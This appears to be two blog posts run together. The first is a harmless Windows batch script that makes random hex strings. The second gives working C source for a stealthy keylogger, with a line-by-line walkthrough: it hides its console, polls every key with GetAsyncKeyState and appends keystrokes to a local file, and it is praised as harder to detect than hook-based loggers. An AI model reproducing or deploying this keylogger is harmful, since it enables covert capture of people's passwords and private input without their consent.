Easily generate random strings in pure batch script

Using pure native Batch, this script generates random strings of any length and using any characters except ! % ^ & < >. This script should work on all Windows operating systems from XP onwards.

The code is pretty self-explanatory, so here goes:

@echo off
setlocal ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION

:: This is used to specify the required length of the random string
set len=12

:: This specifies the characters that will be used to generate the random string
set charpool=0123456789ABCDEF 

:: This specifies the length of the character pool above used to generate the string
set len_charpool=16


set gen_str=

:: Loop %len% times
for /L %%b IN (1, 1, %len%) do (

  :: %RANDOM% / !RANDOM! is replaced with a random variable between 0 and 32768

  :: This is used as our source of randomness so we use some simple math to 

  :: restrict the random range to be within the length of len_charpool
  set /A rnd_index=!RANDOM! * %len_charpool% / 32768

  :: Use for to allow us to expand and use the variable with batch's substring

  :: functionality, and append the substring at the random index determined above

  :: to the gen_str variable. See set /? for more information.
  for /F %%i in ('echo %%charpool:~!rnd_index!^,1%%') do set gen_str=!gen_str!%%i
)


:: The random string has been generated and stored in %gen_str%
echo %gen_str%

Here's a screenshot of the script in operation:

How I wrote a tiny keylogger in C, in a 1-line for-loop

I was challenged to write a keylogger in a line of C. This is the result.

This code is about 3 lines, especially when you #include , but the actual keylogger code is all written as an empty (1-line) for-loop.

int main(int i, FILE *log) {
 for(i=FreeConsole()&&(log=fopen("logf.txt","a+"));(GetAsyncKeyState(i)&1&&fputc(MapVirtualKey(i,2), log)&&!fflush(log))||1;i=(i==255&&!SleepEx(1,0)?0:i+1));
}

This is a very simple keylogger, but it works. It uses GetAsyncKeyState to sequentially check every key on the keyboard many times a second to see if it's being pressed. The advantages of this over a hooking keylogger are that it is harder to detect, smaller, and simpler.

This keylogger is case sensitive, so it will correctly log uppercase and lowercase letters. It also logs symbols, meta-keys, function keys, media-keys, etc -- but in binary, so the logs might have weird characters instead of "Backspace" or "F1", "PgDn", etc. Vim / less are good for viewing the logs.


Here's how it works:

// Main function. Use prototype to declare variables 
int main(int i, FILE *log) {
 
 // Begining of for loop
 for(
 
  // Initialise iterator (i) and open log file
  i = FreeConsole() && (log = fopen("logf.txt","a+")); 
  
  // Keylogger
  // - GetAsyncKeyState(i) -- determine if vkey 'i' is being pressed
  // - if vkey 'i' is being pressed (GetAsyncKeyState(i) & 1), 
  //   - convert it to a char code using MapVirtualKey(i,2) and 
  //  - write it to file with fputc() and flush the log file
  // - || 1 is added to the end to ensure the loop continues regardless of 
  //  other return values
  (GetAsyncKeyState(i) & 1 && fputc(MapVirtualKey(i,2), log) && !fflush(log)) || 1;
  
  // If i equals 255 set it to 0, otherwise increment it by one
  // call SleepEx(1,0) to avoid hogging the CPU.
  i = (i == 255 && !SleepEx(1,0) ? 0 : i+1)
 ) {
  // For-loop code block usually goes here, but we've squeezed all our code into the 
  // declaration of the for-loop, so this isn't necessary
 }
}

This works because For-loops in C are quite flexible and can execute a lot of syntax inline without having to break into a code block below the for-loop. You just need to be conscious of the return-value of your code to ensure it doesn't cause the loop to exit or behave strangely.